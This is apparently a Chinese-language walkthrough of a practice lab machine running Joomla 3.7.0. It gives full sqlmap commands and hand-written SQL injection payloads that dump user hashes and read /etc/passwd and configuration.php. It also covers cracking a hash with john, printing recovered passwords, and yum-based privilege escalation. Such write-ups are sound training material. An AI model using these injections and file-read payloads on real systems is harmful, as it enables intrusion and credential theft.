Offensive Pentesting-DailyBugle

Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.
通过 SQLi 入侵 Joomla CMS 帐户,练习破解哈希并利用 yum 提升您的权限。

信息搜集

nmap -T4 -sC -sV --script=vuln 10.10.46.209

image-20241121091426221

开放22 80 3306端口 其中80端口开放的网站服务是使用joomla框架搭建的

whatweb看一下 没啥有用的

image-20241121094938510

joomla框架的话 用joomlascan扫一下 找到版本为3.7.0

image-20241121095047965

What is the Joomla version?

3.7.0

然后访问一下网页 看到一则银行被抢劫的新闻 作案人是SpiderMan

image-20241121094648366

Access the web server, who robbed the bank?

SpiderMan

其实在前面我们使用Joomlascan来扫描的时候 可以发现扫到了一个admin page

[+] admin finder
[++] Admin page : http://10.10.46.209//administrator

访问一下 发现是后台登陆页面

image-20241121195913557

到这里 信息搜集基本可以结束

Joomla3.7.0sql注入漏洞获取用户登陆密码

类似的做法我们在DC-3中已经见过 使用sqlmap就可以做到

vulnhub靶场记录DC-3

直接看用法

Using Sqlmap:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

上结果 查到表

sqlmap -u "http://10.10.46.209/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
[*] information_schema
[*] joomla
[*] mysql
[*] performance_schema
[*] test

image-20241121200217046

继续在joomla数据库中注出数据表 我们这里需要的是#__users

sqlmap -u "http://10.10.46.209/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla --tables -p list[fullordering]

image-20241121200306529

在表中注出字段

sqlmap -u "http://10.10.46.209/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' --columns -p list[fullordering]

我们需要的是username和password字段的值

image-20241121200507384

注出其中的值

sqlmap -u "http://10.10.46.209/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' -C "username,password" --dump  -p list[fullordering]

image-20241121200634697

john爆破出jonah用户的密码明文

下面使用john来进行爆破

echo $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm >hash1.txt
john --wordlist=rockyou.txt --user=jonah hash1.txt

爆破出是spiderman123

image-20241121200803685

使用jonah/spiderman123成功登陆网站后台

靶机shell

任意文件读取(一个小利用 但是在这里不是很方便)

其实joomla3.7.0也是可以利用sqli进行任意文件读取的 这里放几个payload 将想读的文件的绝对路径转hex就行

正常读 读第一行

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,load_file(0x2f6574632f706173737764)),1)

读正数第N行

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,substring_index(substring_index(load_file(0x2f6574632f706173737764),0x0a,N),0x0a,-1)),1)

读倒数第N行(因为他这个情况下只能显示出来一行)

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,substring_index(substring_index(load_file(0x2f6574632f706173737764),0x0a,-N+1),0x0a,1)),1)

这里成功读到倒数第三行的靶机中另一个用户

image-20241121213753065

后面还可以继续读/var/www/html/configuration.php这里面有jjameson用户的登陆密码 再通过ssh的方式拿到shell 但是这里文件读取有行数和每行字数的限制 都不全 所以也不行

image-20241121214840418

另外其实msfconsole上也有利用方式 但是不知道为什么怎么都连不上去

这个方式我们在DC-3的时候是可以成功利用的

image-20241121214445084

sql注入读文件拿到登陆密码

sqlmap -u "http://10.10.67.113/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dbms mysql --technique E --file-read /var/www/html/configuration.php --batch

image-20241121214932637

nv5uz9r3ZEDzVjNu

直接ssh连

ssh jjameson@10.10.67.113 

image-20241121215144074

修改模板代码进行反弹shell

image-20241121215255610

image-20241121215314878

yum提权

先看suid

find / -type f -perm -u=s 2>/dev/null

image-20241121215422085

有su和sudo 但是很可惜这里用不了

image-20241121215452760

再看有root权限的命令

sudo -l

发现yum可以

image-20241121215600967

直接在GTFOBins上面 找到利用方法

image-20241121215653950

照着打就行

image-20241121215719315

考点

1.Joomla3.7.0 sql注入拿到后台登陆密码

2.修改模板代码反弹shell

3.sql注入拿用户密码

4.yum提权